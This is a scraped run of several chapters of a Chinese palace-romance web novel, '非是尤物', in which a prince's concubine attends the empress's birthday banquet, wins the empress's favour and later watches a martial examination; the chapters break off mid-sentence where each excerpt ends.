虽然刘渡平日总是借口一堆甚少入宫,上朝亦是如此。奈何他是皇后所生,虽是口碑不怎么样,众人对他面上也是敬重不敢怠慢。尤苏寒看着刘渡圆圆的后脑勺感慨道:“果然正宫所生待遇就是不一样啊!” 刘渡带着她跟着前面领路的宫女走进一个大殿。尤苏寒以为皇后的寿宴必定会歌舞升平,很是豪派。不曾想刚进去,只见一个威严善目的男子坐在正中间,看他身披黄袍很容易就猜出这定是皇上了。与其并肩而坐的是一个穿紫红凤袍的女子,端庄慈目的坐在旁边。殿内虽不是她想象中的富丽堂皇,但却不失格局的很是气派。殿内清香萦绕,两侧各摆了一排紫檀长桌。尤苏寒匆匆扫过,没有一个是她认识的。她低着头加快脚步,生怕一个不小心就被刘渡落下,孤援无助。 殿内很是安静,刘渡带着她行礼后在一个离皇后相隔不远的长桌旁坐了下来。她拉了拉刘渡衣袖小声问道:“怎么这么多人?” 刘渡抬头扫了一眼低声回道:“有一半是后宫的嫔妃,有一半是朝中大臣内眷。都是来给母后祝寿的。” 皇后张眼看了看刘渡旁边低头的女子,一脸嫌弃的叹气道:“小家子气,不知道我们渡儿看上她什么。这种场合连头都不敢抬,果真是商户小家,难登大雅之堂。” 皇上坐在一旁听见皇后的叹气,看了看刘渡方向笑呵呵的回道:“我说让渡儿像往常一样孤身前来给你贺寿,眼不见心不烦不是挺好。你这不知为何心血来潮非要他带着一同过来怨得了谁。别气了,大好日子不皱眉头。” 皇后不悦的回道:“我今日让这些内眷都带了自己姑娘一同前来的,等会你帮忙掌掌眼,有没有我们适合我们渊儿、渡儿的好姑娘。”说完表情比刚刚似乎好了许多。 “皇后,你看我今日给你带来什么好东西。”说完皇上转身跟王旭不知道交待些什么。只见王旭朝着殿外一招手,来了七八个人抬着东西就过来了。他们一一行礼后,皇上摆了摆手笑道:“赶紧给皇后打开看看,看合不合心意。” 皇后转头看了眼皇上疑惑道:“这是什么?” “皇后自己看看,喜欢不喜欢。”皇上边说边示意下人打开。只见王旭过去拉开黄色围布,一个一米有余雪白清透的人像玉雕映入眼帘。尤苏寒抬眼看着玉雕,不敢置信的小声叹道:“这不是皇后的雕像吗,天呐,这成色,值不少钱吧。” 殿内七嘴八舌的都是此起彼伏的感叹声掺杂着一些羡慕的议论声。皇上得意的说道:“这可是我让玉匠一年前就开始做的,皇后可还喜欢?” 皇后不禁起身走到玉雕旁边满眼欢喜的看了一圈,转身行礼谢恩道:“臣妾谢皇上恩赐,很是喜欢。” 满座皆是感慨赞叹,不绝于耳。尤苏寒亦是羡慕的凑到刘渡耳边说道:“皇上皇后很是恩爱啊!”刘渡只是微微点头不曾讲话。 皇上旁边头一桌的蓝粉衣裳的女子不屑的挑了个桌上的果子放到嘴里,丝毫不掩饰自己眼角的不屑和高傲。尤苏寒看了看那位女子。应是宫中的哪位妃子,傲慢的神情也掩饰不了她绝佳的容貌。尤苏寒心下揣度:“应该是个受宠平的,不然敢在皇后生日宴上这样的表情,那是活腻歪了吧。” 刘渡顺着尤苏寒的眼神望去,低头淡淡的嘱咐道:“你不要惹她,她是刘渝的母妃陈贵妃,很是嚣张跋扈,离她远些。” 尤苏寒立马低下了头心中窃喜道:“幸好没被她发现我看着她。”她一时间不知道该看哪里,一转头跟低头看着自己的刘渡四目而对。尤苏寒一时间不确定自己是不是看错了,刘渡眼神并不像往常那样冰冷孤傲,反而很是温柔。让她一下子安心不少,朝着刘渡开心的笑了笑。 接下来就是众人纷纷上前献出自己的贺礼。刘渊的贺礼是一个楠木玉枕,刘渝的是一个不会出错的玉如意。陈贵妃虽不是真心祝贺,但还是满脸笑容的拿出了一串价值不菲的翡翠串珠献给了皇后。二人相互谦恭,笑脸相迎。若不是刘渡刚刚告诉自己那个女人是何等身份,自己绝对会被眼前这假象所迷惑。 待众人纷纷献出贺礼,尤苏寒越来越像屁股下着火似的坐立难安。她窃窃的看了看一旁镇定自若的刘渡,脸色愈发的难看。 终于皇上喊话刘渡道:“渡儿今日给皇后带了什么好东西,寡人很想瞧瞧。” 尤苏寒埋着头两手发抖,她今天这个人是丢定了。 只见刘渡歪身低头道:“跟我过来。” 尤苏寒看了一眼很是听话的跟了上去走到殿中。刘渡从袖口处掏了一个方形紫檀木匣,很是小巧,只掌心那么大。皇后迫不及待的盯着刘渡手中的木匣惊喜问道:“渡儿,这是何物,快呈上来母后好好瞧瞧。” 觅无走到刘渡身旁接过木匣,顺眼瞥了下站在刘渡身旁一直低头不语的尤苏寒。皇后接过去打开,眼睛眯成了一条线笑道:“这颗青金石比我丢的那颗还要精致圆润。” 刘渡拱手回道:“儿臣上次入宫,发现母后凤冠上的青金石不见了。正好有幸意外得到个差不多样式的。” “渡儿有心了,寡人都不曾注意到皇后凤冠上少了颗青金石。”皇上面带微笑的看着刘渡,转而看了看 15. 第15章 苏映 《非是尤物》全本免费阅读 众人看向刘渡,刚刚还是喧嚣热闹的宴席突然就静了下来。陈蓉脸上霎时闪过一丝惊讶,刘渡一向温和少言。以前就算是借机阴阳他,也从未见过他发过火。她撒娇的看了一眼坐在上座的皇上,只见皇上佯装咳嗽道:“陈贵妃也没有别的意思,渡儿你注意言辞。”然后起身继续道,“今日是皇后的好日子,大家继续喝酒。” 且不说陈蓉吓了一跳,就算皇后也是很惊讶的看了看他的渡儿。往日说什么他都不计较不生气,今日竟然为了一个妾就如此动怒,实属难得。她正了正身张眼看了看尤苏寒,忽然手里的酒杯停顿在半空。她嘴角微微颤动,又把身子往前挪了挪睁大眼睛盯着那尤苏寒看去。突然“哐当”一声,刚刚还在她手里的酒杯掉在地上摔成碎片。觅无见状连忙上前跪在地上查看问道:“娘娘有没有受伤,快让奴婢瞧瞧。” 一旁的皇上听见声响连忙横眉竖眼的朝着刘渡呵斥道:“你看看你,把你母后气成什么样了,就为了一个女人。” 刘渡站在尤苏寒前面,看了看皇后方向,见只是酒弄脏了衣服放心回道:“回父皇,儿臣绝无此意……” 皇后表情似乎有些微妙起身打断道:“本宫衣服脏了,尤苏寒你陪本宫去屋里换身衣服吧。”觅无上前刚想说话就被皇后暗暗拦住。尤苏寒也顾不上想别的,只是声线紧张的应道:“是,娘娘。”说话间起身走到皇后身后跟着走进屋里。 外面刘渊招呼着众人继续喝酒,陈蓉嘴角上扬,她本来还着想出席一会就随意找个借口回去,这眼见着似乎还有场好戏,窃窃的看了眼刘渝继续吃着不在讲话。 席下众人各怀鬼胎的吃着,三位皇子都未娶妻。今日虽是皇后生辰,但都带了自家的姑娘想要制造机会,若是哪位皇子看上,岂不美事一桩。再者皇后传话时本就有此意,大家都心照不宣的在宴席上有意无意的提及自家女儿的长处长相,相谈甚欢。 刘渡正在外面坐立不安,觅无就走来低头小声的喊道:“三殿下,皇后让你过去。” 刘渝见刘渡被皇后叫去隔着两张桌子向刘渊喊话道:“皇兄不一起过去看看吗,劝劝母后身体要紧,千万不能动怒。这三弟实在是不懂事,也不分什么场合。” 刘渊还未开口,皇上瞥了他一眼严肃的说道:“好好吃你的,你母后自有打算。”刘渝耸了耸肩撇嘴无奈道:“儿臣知道了。”他心情甚佳,倒是刘渊坐在那边有些食之无味。 刘渡刚进屋,尤苏寒求助的眼神就朝着他看了过来。皇后坐在那边,还是刚刚那套紫红凤袍,看样子她还没来得及换身衣服。她看着尤苏寒表情似乎有些激动,然后顺手拿起旁边的书就往刘渡身上砸了过去。一本还不解气,接着拿着第二本继续往他身上扔去。觅无见状赶紧上前拦住说道:“娘娘息怒,娘娘息怒。”她转头看着刘渡面无表情的站在那边一让不让,叹了口气继续说道:“娘娘身子要紧,切勿动怒。” “你怎么敢的,刘渡,你怎么敢的,你竟让她做妾。”皇后气急败坏的瞪着刘渡,“真该打死你这个逆子。” 尤苏寒原本站在那边,听见皇后如此生气赶紧跪了下来说道:“皇后娘娘息怒,三殿下不是有意冲撞的,以后妾身不会再出现在娘娘面前。以后不管是谁责问妾身,殿下绝不会再护着了,要打要罚都可以。”尤苏寒看着皇后打骂刘渡实在是有些不忍,事因己出,她实在做不到袖手旁观。 “他敢”!皇后看到吓得跪在地上的尤苏寒连忙上前扶道:“我的乖乖,快起来。”一时间整个屋内鸦雀无声,就连刚刚视死如归般冷漠的刘渡也恍然一下转头看了看皇后。觅无虽是惊讶,但表情还算克制。只有这尤苏寒这表情有些耐人寻味,她有些害怕的看着满脸宠溺的皇后,心下比刚刚劈头盖脸的直接骂她还让人心慌难安。 皇后拉着尤苏寒的手走到旁边做了下来满脸慈祥的说道:“若是日后有人为难你,刘渡不给你出头,我定绕不了他,再者你还有我,你大可来找我替你做主。” 刘渡展了展眉眼淡淡的说着:“母后,她确实只是个商户之女。” “此地无银三百两,我有问你她是谁家姑娘吗?”皇后没好气的冲着刘渡翻了个白眼,语气愈加嗔怒道:“枉费我平日里宠你宠的那样,前段时间我都哭成什么样了,你是一点都没肯松口安慰一下。果真是个逆子,白养你了。” 尤苏寒坐在椅子上,转头看了看刘渡表情云里雾里很是疑惑的看着皇后。她不敢说话,一天下来,她觉得自己是说什么错什么,哪怕现在皇后如此和蔼,她也只是默默地坐在那边一动不动,不敢造次。 皇后拉着尤苏寒眼角不禁流泪叹道:“你这孩子真是跟苏映一个模子出来的,真的是长得一模一样。先前我总让她把你一起带我这里玩耍,她非说你身子不好,不让你出门。今日见了,真是伶俐漂亮。只是可怜你年纪轻轻就没了母亲,以后母后疼你。” 尤苏寒这才对皇后突然的转变恍然大悟,她先是惊讶的看了看刘渡,然后眼角含泪的看着皇后。尤苏寒是她,虞初亦是她。这么久,除了夏篱待她如亲妹妹般亲近,还第一次有长辈对自己如此的和蔼可亲。她喜极而泣的哭腔问道:“皇后认识我母亲?” “本宫和苏映从小一起长大,后来我入了宫,在宫里苦寂无趣,她就经常入宫来看我。皇上后来见我整日郁郁寡欢,还特地把她接到我宫里来陪了我数月。我们虽不是亲姐妹,却比亲的还要亲。就刘渡,他小时候也没少被你母亲抱过。” “母后,外面还在等你呢!”刘渡还想说些什么,就被皇后犀利的眼神打断了。 “只是本宫这心里十分不是滋味,我本就没有女儿,在本宫心里,苏映的姑娘就是我的姑娘 16. 第 16 章 养猫 《非是尤物》全本免费阅读 尤苏寒蹑手蹑脚的走去刘渡身边轻轻的坐下。她抬了抬头看着周围很多好奇的目光看向自己,低下头自顾自的吃着不理会她们。 “皇后娘娘福寿安康。” 尤苏寒听到这甜美的声音不禁跟着众人一起抬头望去,只见一个皮肤细腻,弯弯细柳眉下是一双杏仁明亮的双眸。她嘴角上扬,面容端庄秀气。尤苏寒靠到刘渡身边轻声问道:“这个粉白衣裳的女子是谁家的姑娘啊,怎么会有生的这么好看的人啊。”之前尤苏寒只觉得夏篱已经是仙女下凡了,眼前个姑娘又是另外一种秀丽的漂亮。她声音温柔,举止优雅。大概世人口中所形容的大家闺秀也就不过如此了。 刘渡微微抬头瞥了一眼:“林尚书之女,林亦书。” 皇上满脸笑容的乐道:“可是林欢之女?” “回皇上,是。” 林亦书端庄大方的举止让尤苏寒很是感慨,“也不怪刚才陈贵妃看我不顺眼了,。若是跟这位姑娘比起来,我刚刚举动确实有些猥琐难堪了。” “林欢果真是教导有方,你后面带的是什么?” 林亦书转头看了眼身后笑着回道:“这是家父为皇后娘娘准备的贺礼。”她看了眼后面的婢女,点头示意拿到前面展示。幕布刚取下来,就看见一个毛茸茸的小家伙歪着脑袋很是可爱。它的毛似冬雪般洁白,眼睛蓝绿如宝石般晶莹。皇后好奇的走上前去问道:“亦书啊,这个小家伙怎么会这么漂亮?” “回皇后娘娘,家父得知皇后素日喜欢小动物,这只银猫是他这次出使在外。偶然见到这个小家伙特地带回来准备献给皇上皇后的。” “林爱卿有心了,皇后素日是很喜欢这些,来人,赏!”皇上开心大笑,皇后亦是迫不及待的想要上前去逗逗这只猫。大家正乐不思蜀之际,王旭此时走到皇上身边,不知说了什么,皇上跟皇后道别后就匆匆走了。 觅无走到前去,刚打开木笼,那只猫像是受了惊吓似得一下子就窜了出来。霎那间,席下乱成一片。有害怕的像个过街老鼠到处找地方躲让的,也有想要邀功勇敢上前抓捕的。皇后惊慌失措的站在原地嘴里不停地吩咐道:“千万不能伤到它,不能伤到啊,小心点。” 尤苏寒拉着刘渡想要一起去逮猫,但他只坐在那边不动声色的只顾着自己喝酒,并不理睬她的建议。尤苏寒以为他没有听见又往前靠的更近一些说道:“殿下,我们也去帮皇后抓那只小猫啊,你看着为了这只猫都乱成什么样了啊。” “没兴趣,要去你自己去,不要带上我。”刘渡面无表情的拒绝让尤苏寒撇嘴叹道:“刚刚见他笑得不是挺开心的吗,怎么突然又这个样子,阴晴不定的比我这个女子情绪起伏都还要大。” “你说什么?”刘渡斜眼瞥了他一眼,不是没听见,只不过懒得跟他计较。尤苏寒正欲再说什么,突然间听见远处右前方突然尖叫了一声。 只见一个蓝衣女子惊慌失措的尖叫了起来:“救命。” 尤苏寒正想过去帮忙,只见刘渝已经过去扶起跌坐在地上的女子,二人相视后,女子连忙往后退步低头行礼道:“多谢二殿下,小女感激不尽。”旁边的妇人走上前来也连忙道谢道:“二殿下莫见怪,丝棋从小就怕这些,刚刚那只猫突然跑过来,许是吓到了。”女子一直低头不语,脸上的惊慌失措并没有完全消散。 刘渝看了看这个姑娘笑道:“无妨,害怕猫狗也是正常,又不是你一个人怕。”说完脸上多出一丝邪魅坏笑回到了自己的坐上看了眼尤苏寒。 刘渊本不想多事,奈何这只小猫是林家献给母后的贺礼,他实在是做不到视而不见。林亦书他是见过几次的,端庄大方,容貌清秀。他第一次见她就已心动,从此别的女子在他眼中全是胭脂俗粉般的存在。只是每次都没有机会跟她讲话,若是贸然过去硬要说话,想必林亦书也不敢不理,但他不想以强权压人。这次,他不想再错过机会了。 他一本正经的走到林亦书旁边,还未说话,林亦书就又跑到了旁边,来回几次这样。尤苏寒憋笑道:“你大皇兄是不是喜欢那个林亦书啊,他一直跟在人家后面,没想到平日严肃威严的大皇子还有不擅长的一面呢。” “这你也看的出来啊,喜欢不是一两日了,一直未曾开口讲过,不过他向来木讷,到现在人家估计都不知道他的心意。母后给他说过几个姑娘,皇兄都回绝了。看来是非她不要了。” “原来大皇兄还是个痴情种,我以为你们这些皇子都是三妻四妾的到处留情呢。” 刘渡转过头去意味深长的看了看她,刚想要说话就看到刚刚的那只小白猫停在了自己的桌上。他不由自主的往后踉跄一步,尤苏寒刚想上前扶他,突然想到了什么开口大笑道:“我就奇怪呢,为什么你不肯上前帮忙,原来你是怕猫啊。”说完捂着嘴大笑。刘渡恶狠狠的看了看她没有好气的说道:“回去扣你月钱。” 果然是有用的惩罚,尤苏寒刚刚还前俯后仰的一下子就变得安静了下来。 “殿下,妾身知错了。”她表情很是严肃,突然她上前一把揪着猫脖后面的皮拎了起来凑到刘渡面前大笑道:“殿下,妾身抓到了,你开心不开心。”尤苏寒故意的往刘渡身前不停地靠近,刘渡无奈大声呵斥道:“扣一个季度的月钱,你要是再往前一步,那就半年。” 尤苏寒摆了摆手无所谓道:“反正夏姐姐不会让我饿着,要不然殿下给臣妾涨点月钱吧,每月我月钱都不够用,每次去集市上那么多好动西我都买不了。” “好”!刘渡答应的如此干脆,尤苏寒心下一度觉得是不是自己开的条件太简单了。但是人都答应了,自己也不敢再得寸进尺。抱着小猫走到皇后跟前行礼说道:“母后,猫在这了,是只母猫,乖得很,刚刚应是见人多应激了”。 “应激?”皇后上前接 18. 第 18 章 推手 《非是尤物》全本免费阅读 “渡儿来了啊,”皇后笑脸迎了过去,穿过刘渡径直走到尤苏寒跟前,拉着她的手就往里面走。刘渡站在一旁,刚刚伸出来的手还没来得及放下,旁边的觅无笑道:“三殿下看来是失宠了。”笑着就跟着皇后去了里面,留下刘渡一人独自在那边发愣。 皇后看着尤苏寒满眼宠溺的问道:“今日在席上有没有吃饱,若是还饿,我让觅无去御膳房再弄点吃的过来。”皇后的热情一下子让尤苏寒有点绷不住的哭了起来。 “母后对我这么好,我都有些想母亲了。” 刘渡站在门口不禁想起,眼前这个姑娘这短短几月经历了这么多。平日里看似活泼调皮,自己差点忽视了她仅仅是个经历家破人亡的小姑娘,她也会想要父母陪在身边。 “那以后我常带你入宫。” 尤苏寒转头看了眼刘渡,又回过头看了看皇后,擦了擦脸上的泪水抽泣道:“好的。” “渡儿对你可好,若是他带你不好,你就告诉我,我帮你教训他。你们两既然已经成亲,那就要恩爱相守,若是早日有了孩子,我就好趁机跟皇上说把你扶正的事了。宫里母凭子贵的事情多了去了,也不稀奇。” 尤苏寒瞥了瞥刘渡满脸绯红的回道:“殿下待我很好,母后放心。”刘渡漫不经心的看着屋外,不知在想什么。 “青草,这些上好的脂粉回头你给你们家娘子带回去,都是别人进献的好东西。”觅无手上拿了好些东西,青草见快拿不住了,赶忙上去帮忙道:“这么多我们娘子怕是用不掉啊。” “娘娘说了,用不掉带回去也是好的,宫外怕是很难买到这样成色的脂粉。” 青草分样归拢了一番,留下几个这两天要用的,别的直接收纳打包好放了起来。 我看天色不早了,不如你们先回齐乐殿休息吧,明日再过来陪我聊聊天。皇后起身,给觅无使了个眼色就往里屋走了进去。觅无自然是知道皇后的意思,起身端起一盆东西就站在门口说:“殿下,娘娘让我先把这个给您送过去,正好跟你们一起过去。” 尤苏寒见状只好跟着刘渡过去。一路上所见宫婢皆让步低头行礼。她回想起早上,她走在路上遇到她们,都还是爱答不理的。若不是给三殿下行礼,估计会选择直接忽略她吧。或许因为自己现在是侧皇妃了?她看着他们淡淡笑着,像这样势力的景象平日也不少见,更莫要说现在还是在是非多的宫里。她不在乎这些,毕竟来到这边,能活着她已是感激不尽,感激涕零了。 觅无放下东西后并没有马上离开,她拉着青草假装说事,实则张眼看了看在屋里的两个人。果然不出皇后所料,二人只是坐在屋里的圆桌旁,各自喝着茶水。都已经是晚上了,哪还有小夫妻相顾无言,拼了命的喝水的。二人之间的尴尬生分被觅无看得一清二楚,她笑了笑看着他们说了几句就先回去了,这两人才各自松了口气。 “娘娘果然没猜错,殿下和侧妃确实不像日间在席上那样自然,我看着倒像是生分着呢。”觅无给皇后轻轻地捶着肩膀,忽然抬眉思索道:“只是我们等会用什么借口再过去殿下屋里瞧瞧呢?”皇后听后掐了一下觅无的胳膊笑道:“你就少些机灵吧,免得以后没人敢要你。” “我去齐乐殿许久,娘娘还没宽衣睡觉,想必是想好了等会过去探探情况。”觅无想象起那情景不禁笑了起来。 觅无走后,青草也被刘渡遣回去歇着了。尤苏寒坐了一会实在安耐不住的问了句:“你们宫里都只有一条被子吗。” “不是,估计是母后让觅无拿走了。”刘渡不自然的抬眼看了下尤苏寒继续说道,“你先睡,我今日还有些事情没弄,我恐怕要通宵了。” 尤苏寒自然是知道他只是为了让她安心睡觉才说自己是有事的,但是她除了装傻答应好像也没别的选择。今天发生的事情实在是太多了。何况整日下来,神经全是绷着的。现下她已经困死了,但是立马跑过去睡觉好像也不是很地道。于是假意含蓄的说着:“那要不然我再坐一会?” 刘渡看着她愈渐耷拉的眼皮实在忍不住笑道:“你要是再不去睡觉,我就先去睡觉去了。” 话还未说全,尤苏寒就急忙跑到床上脱掉鞋子急忙安慰道:“殿下也早点休息啊,切勿太劳累了。” 刘渡笑笑不说话,刚想去拿本书打发打发时间,听见有人敲门。他走过刚想开门就听见皇后温柔的隔着门轻声问道:“渡儿,你们歇下了吗?” 尤苏寒听声连忙捂着被子惊诧的朝着刘渡看了过去,她眉间刚刚还舒展的自在快乐一下子被门外突然传来的声音吓得消失无踪。 “母后,我们睡下了,有事明日再说吧。”刘渡一边说着一边往后退着直至床边。见门外无声,二人松了口气以为皇后回去了。没曾想接下来的一句“我让御膳房做了点莲花糕,我看苏寒像是没吃饱。我进来啦。”让二人尤如五雷轰顶。 “等、等一下,我起来去拿吧。”尤苏寒从未见过刘渡如此惊慌失措过。看着他前额上的汗珠不禁偷偷蒙着被子笑了起来。 “不用,这天怪凉的,母后进来啦。”皇后站在门外朝着觅无坏笑了一下,然后转身准备开门进去。 刘渡听见门吱吱发响,还没反应过来。突然感到腰间伸出来一只手环抱住自己,他惊讶的看了一眼身后的尤苏寒,还没来得及说话就被尤苏寒拉躺到了床上,给他迅速的盖好了被子。 “手劲真大!” 听到刘渡发自肺腑的感慨,尤苏寒躺在枕头上默默的翻了个白眼。皇后是真的喜欢虞初,她也是真的想他们两在一起,尤苏寒感觉得出来,她不想见到皇后失望的眼神。在她眼里,皇后真的很像自己的母亲一样。以前在家 20. 第 20 章 蠢蠢欲动 《非是尤物》全本免费阅读 “怕是尤娘子今日走不了了,刚刚王旭说这次武考由皇上亲自选拔出头魁,而且文武百官的儿女若是有及冠男子均可一同参加。后日就举行了。”觅无看了一眼坐在旁边仔细聆听的尤苏寒小声说道,“三位皇子也是要参加的。” 陈蓉不以为意,她的刘渝跟大皇子刘渊一向平分秋色。赢了刘渊脸上无光,输了也是兄友弟恭很是平常。怎么着刘渝都不会吃亏。更何况刘渝也不一定会输。倒是这个刘渡,年年称病不参加,这次估计临了也会找个借口开溜,不在考虑范围之内。她心下明白,说得好听是帮朝廷选拔人才。但是谁不知道,这也是皇上想要看看谁才是继承大业的更优人选。 皇后瞥了一眼陈蓉,她的心思她是知道的,想必这次必定是会让刘渝全力以赴。她笑笑起身说道:“渡儿能在宫里多住几日甚好。” “那岂不是很多人都会参加了?”尤苏寒并不是很懂这里面的具体情况,一头雾水的继续问道,“那头魁有什么奖励吗?” 皇后看着她疑惑的小表情不禁笑笑:“三个皇子不过是跟那些参加的男子一起比试,不计成绩。你有所不知,这武试本有一些底层考上来的,加上这些达官贵子有特权可直接参加这最后一轮。若是谁夺得头魁,无官者赐官爵。那些本可以世袭爵位的也可靠自己取得官位,日后在朝廷里地位地位更加受人景仰敬佩。所以每年敢参加的都是些文武双全的公子,实力都不会差到哪里去。若是自己没有什么本事,也不敢在皇上跟前丢人。自己就算有机会参加,没有实力他也不敢,恐被人看了笑话去。” “那就是说能参加的都是些有实力的男子了?”尤苏寒心下不知道盘算些什么,嘴角微扬拉着皇后问道:“那日我们女子能去看吗?” “当然可以,我每年都会去看的。”刘荇想到了这次万尘安想必也会来,嘴角早就咧到嘴巴根了。 陈蓉看着刘荇不予理会,她是看不上这个万尘安的,整日游手好闲无所事事的一个浪荡子。不然像刘荇这样的公主,嫁给大司马之子也就是皇上的一句话。但是陈蓉是万万不会答应的,她心中有更中意的人选,至少这个人,对刘渝以后的事业要有些帮助的。 “就连未出闺阁的女子也都是可以去旁边观看武试的,有些姑娘巾帼不让须眉,射术比一般男子都要好上一些也是有的。”皇后耐心的给尤苏寒解释,她知道,她母亲以前从未让她出过闺阁,这种活动估计是从未见过的,很是稀奇。 尤苏寒听着他们的描述很是向往,果然下晚回到齐乐殿的时候就小跑到刘渡跟前更加细致的问了一遍。 “我明日不去,你自己去。”刘渡依旧看着手里的书淡淡的说着。 “你是不是又要说你病了。”尤苏寒一脸不屑的哼唧道,“皇上又不是傻子,他肯定知道你是故意装病不去的,你明天不去,我自己去岂不是有点不好。” “没什么不地道的,你想去凑热闹你就去,不用管我。” “听说有点实力的公子哥们都会去啊。”尤苏寒龇牙咧嘴的在旁边暗自偷乐。刘渡冷不丁的放下书朝外走去。尤苏寒听见动静伸头看了一眼,皱眉问道:“殿下去哪里?” “出去走走。” “那殿下等会,我带上浅雪一同去可好?”尤苏寒一边说着一边跑到旁边隔间小屋里抱着浅雪就一溜烟跟了上去。刘渡并没有回头看她,只是稍稍往旁边多走了几步,跟尤苏寒拉开点距离。 尤苏寒搂着浅雪跟在刘渡身后,刚走到亭廊拐弯处就见陈蓉和刘渝迎面走来。陈蓉一如往常半高傲的走在前面。刘渝大概是老远处就看到了刘渡的身影,故意快步走到尤苏寒跟前笑道:“我们这三殿下现如今不怕猫了啊,以前看到猫都躲在桌子底下呢。” “渝儿,那是多久以前的事情了,切莫拿你三弟打趣,尤苏寒还在这呢。”陈蓉走到尤苏寒跟前似笑非笑道,“你怕是不知道刘渡怕猫吧,若是知晓,怎么还非要跟刘荇抢这只小猫?” 尤苏寒抱着浅雪,抬头看了眼刘渡。她不知道他曾这样怕过猫,若是知道也许她真的就会让给刘荇养了。她犹豫半天道:“不知道公主还想不想……” “是我让她带回去养的,寒儿喜猫,反正在宫里闲着也是闲着,做点喜欢的事情未尝不可,再说这猫又不是放在房里养着的,不碍事,多谢娘娘关心。”刘渡看了眼抱着浅雪像做错了事的孩子般站在那边,他的眼神变得阴郁。 “三弟这是想带着爱妾去哪里啊?”刘渝昂了昂头走到尤苏寒跟前摸了摸她怀里的猫,谁知这猫竟奶凶奶凶的叫了一声。刘渝表情阴冷笑道:“果然畜生就是畜生,难怪我们三弟不喜欢,像这样的也就是图个新鲜玩玩,过几天养腻了三弟估摸着就会把这猫一脚踢开了。” 尤苏寒听出了刘渝的话中有话,她小心翼翼抬眼看着刘渡,只见他也正盯着自己。他不耐烦的转过头去冷言冷语道:“二皇兄多虑了,一只猫我还是养得起的。” “明日武试怕是三弟又有事由不去了吧,真是可惜,年年都错过如此有意义的活动。” “明日恰巧无事,就过去瞧瞧。”刘渡云淡风轻的语气让刘渝很是不以为意。他向来是不把刘渡放在眼里,所以明日他到底参加不参加对他来说影响不大。陈蓉展眉笑道:“那明日期待你们兄弟三人的表现了,切莫让皇上失望。”说完刘渝跟着陈蓉扬长而去。 “站着干什么,走吧。”刘渡刚欲转身拉尤苏寒,见她怀里的浅雪又默默缩回手故作镇定道:“走吧,刚刚见你吃的不少,走走消耗一下,别积食了。” “明日殿下不是不去的吗?” “去,方便尤娘子看各家公子哥。”虽看不见刘 21. 第 21 章 武考1 《非是尤物》全本免费阅读 刘渡的头发落在尤苏寒的脸上,他手指轻轻拨开,两个手撑在她耳边两侧。尽管灯光微弱,尤苏寒依旧察觉到刘渡眼底的那丝戏谑与挑逗。他眼睛微红,倒不是因为别的,夜里谁被吵醒估计都会这样。二人面面相觑,也就一拳的距离。尤苏寒收起脸上原本八卦嘲笑的表情,整个人变得僵硬。 “就不能安分一些吗?”刘渡湿润的嗓音显得更加低沉深邃,他的呼吸比刚刚急促一些。尤苏寒在他起伏的胸下终于反应过来,赶紧手忙脚乱的推着刘渡的腰不再让他靠近。大概是太过慌乱,在她找到他腰之前无意间碰到了什么,满脸涨得通红的看着刘渡求饶道:“殿下,你大人不记小人过,下次我肯定把门关好,我保证。”嘴上虽在求饶,胳膊却还一直用力的推着刘渡,绷得笔直。 刘渡并不理会她的求饶,两眼紧盯着她,往下又去了一些。灯光昏暗,看不清刘渡冰冷的脸上是什么表情。尤苏寒耳边的呼吸声越来越清晰,她一下子慌了神。 “殿下,殿下,你这样我有点害怕。我……我还没……做好准备。”尤苏寒声音微颤,她看了眼刘渡,眼神显得很是楚楚可怜。刘渡挑了挑眉,长叹口气无奈笑道:“逗你玩的,我还有些事情没有处理,你先睡。”说着就将被子往尤苏寒身上拉好,起身下了床。 刚开始尤苏寒并不讲话,待刘渡走远她才过头小声嘀咕道:“骗子,还逗我呢,要不是我摸到了什么我就信了,我又不是傻子。”尤苏寒想到刚刚那一幕脸更加通红,揪着被子翻了个身不禁琢磨道:“原来他没什么隐疾啊,先前见他无欲无求的连夏姐姐那样的美人都不为所动,合着是个闷骚的主,下次还是收敛点为好。” 这一夜,虽然尤苏寒算是躲过一劫,但是想到刚刚那幕还是会不禁脸红心跳。想起刘渡棱角分明的俊秀模样,她不禁疑惑自问道:“我为什么要拒绝这么一个帅气的男人,而且还是合法的。”。懊恼不已的尤苏寒转头看了看远处掌灯夜读的刘渡,眼神微眯合计道:“好一个清心寡欲的一张脸,果然人不可貌相啊。”不久尤苏寒就安然的进入梦乡。 刘渡本来还担心刚刚有吓到她,见她睡着便走到床边,看她睡着也是面带微笑的不禁摇头感叹道:“还真是个没心没肺的丫头。”尤苏寒虽是睡着了,但是她还是给刘渡空出来好大一块地方,方便他忙完了过来休息。她紧紧地挨着床里,只有一条不安分的腿横跨在中间。刘渡轻轻拉开被子把她的腿往里推了推,侧着身子躺了上去。他一手撑着头,满脸宠溺的看着眼前这个姑娘,他自己都不知道从什么时候起,自己竟然也会动了心思。也许是近些日子跟她日夜相处生了情,也许是被她的活泼俏皮所吸引,也许是更早些的时候。相逢本不是一场意外,一见钟情却时常发生。 艳阳高照,飒爽的秋风拨开层层云雾,使得威严肃静的考场上裹上一层灿黄,这便更活泼了许多。考生装备整齐的一一进场。看台上的妇女们也争相探着脑袋观看着台下。三位皇子轻装上阵,昂首挺胸的站在皇上身后。其余的一些闺阁小姐也夹杂在妇人之中,她们嬉笑玩闹,各自都打趣着对方今日来这的目的。 刘荇也不例外,她跟着陈贵妃过来的时候就没有正视过前方。她侧着脸在台下众人一一扫过,许久都没有见到那个意气风发的白衣少年。她转头看了看刘渡,他今天倒是出奇的过来了。她垂头丧气的站在陈蓉身后,若是早知道万尘安不来,她也不用精心打扮一个早上,现在连人都不曾见到,甚是灰心。 尤苏寒本来站在众人后面,个子不高,若不细看都注意不了她。皇后扫视一圈看到她直接把她拉倒了自己身边。一旁的陈蓉见状不以为意的冷笑道:“我倒不知麻雀亦能与凤凰并肩,一时倒分不出个高低贵贱来了。” 